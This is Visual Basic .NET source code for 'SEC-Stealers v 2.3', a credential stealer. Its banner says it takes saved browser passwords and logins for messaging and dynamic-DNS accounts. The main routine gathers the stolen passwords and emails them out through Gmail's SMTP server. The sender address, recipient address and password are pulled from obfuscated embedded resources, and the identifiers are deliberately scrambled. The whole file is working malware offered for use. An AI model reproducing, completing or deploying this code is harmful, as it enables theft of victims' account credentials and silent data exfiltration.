#IL_Code 8920

Imports System.Runtime.InteropServices
Imports System.Net.Mail
Module Module1
    Public pw As String
    Public JK As New TextBox
    Sub main()
        On Error Resume Next
        Process.EnterDebugMode()
        pw = A.GT
        JK.Text = "- SEC-Stealers v 2.3 " & vbNewLine & "......................................................................................" & vbNewLine & vbNewLine & "- Description Project .." _
            & vbNewLine & "- Steal Passwords Stored In a Cookie For a Browsers" & vbNewLine & "- Internet Explorer , Mozilla Firefox , Google Chrome , Opera" & vbNewLine & "- In Addition To Steal Passwords For Accounts" _
            & vbNewLine & "- No-ip , Dyndns , Paltalk Messenger , Hotmail , Yahoo messenger" & vbNewLine & vbNewLine & "- Category responsible for pulling passwords are programmed by : NjQ8" _
            & vbNewLine & "- Tool responsible for sending information programmed by : Security.Najaf" & vbNewLine & "- Contact For Me , My Skype : Security.Najaf" & vbNewLine & vbNewLine & vbNewLine & _
           pw & vbNewLine & "- Last Date [ " & DateTime.Now.ToString("yyyy/MM/dd HH:mm:ss") & " ]"
        Threading.Thread.Sleep(1000)
        Dim Message As New MailMessage()
        Message.From = New MailAddress(System.Text.Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "1")))
        Message.To.Add((System.Text.Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "2"))))
        Message.Subject = "Information Protection ..."
        Message.Body = (JK.Text)
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential((System.Text.Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "1"))), (System.Text.Encoding.UTF8.GetString(ipRQJHuGffWt.ElTJKkhFGSM(Application.ExecutablePath, "3"))))
        SMTPServer.EnableSsl = True
        SMTPServer.Send(Message)
    End Sub
End Module
Module ipRQJHuGffWt
    <DllImport("kernel32.dll", SetLastError:=True)> _
    Private Function FindResource(ByVal aiVBMOTufgOf As IntPtr, ByVal lpName As String, ByVal lpType As String) As IntPtr
    End Function
    Private Declare Function sViZvxJrXrJE Lib "kernel32" Alias "GetModuleHandleA" (ByVal moduleName As String) As IntPtr
    Private Declare Function SizeofResource Lib "kernel32" (ByVal aiVBMOTufgOf As IntPtr, ByVal hResInfo As IntPtr) As Integer
    Private Declare Function LoadResource Lib "kernel32" (ByVal aiVBMOTufgOf As IntPtr, ByVal hResInfo As IntPtr) As IntPtr
    Public Function ElTJKkhFGSM(ByVal hHgkiIkSITDW As String, ByVal resourceid As String) As Byte()
        Dim aiVBMOTufgOf As IntPtr = sViZvxJrXrJE(hHgkiIkSITDW)
        Dim kOmKyEifXsBq As IntPtr = FindResource(aiVBMOTufgOf, resourceid, "NAJAF")
        Dim KgKsedakDPB As IntPtr = LoadResource(aiVBMOTufgOf, kOmKyEifXsBq)
        Dim nWslPBhsnRK = SizeofResource(aiVBMOTufgOf, kOmKyEifXsBq)
        Dim hxhDuIQUKeLU As Byte() = New Byte(nWslPBhsnRK - 1) {}
        Marshal.Copy(KgKsedakDPB, hxhDuIQUKeLU, 0, CInt(nWslPBhsnRK))
        Return hxhDuIQUKeLU
    End Function
End Module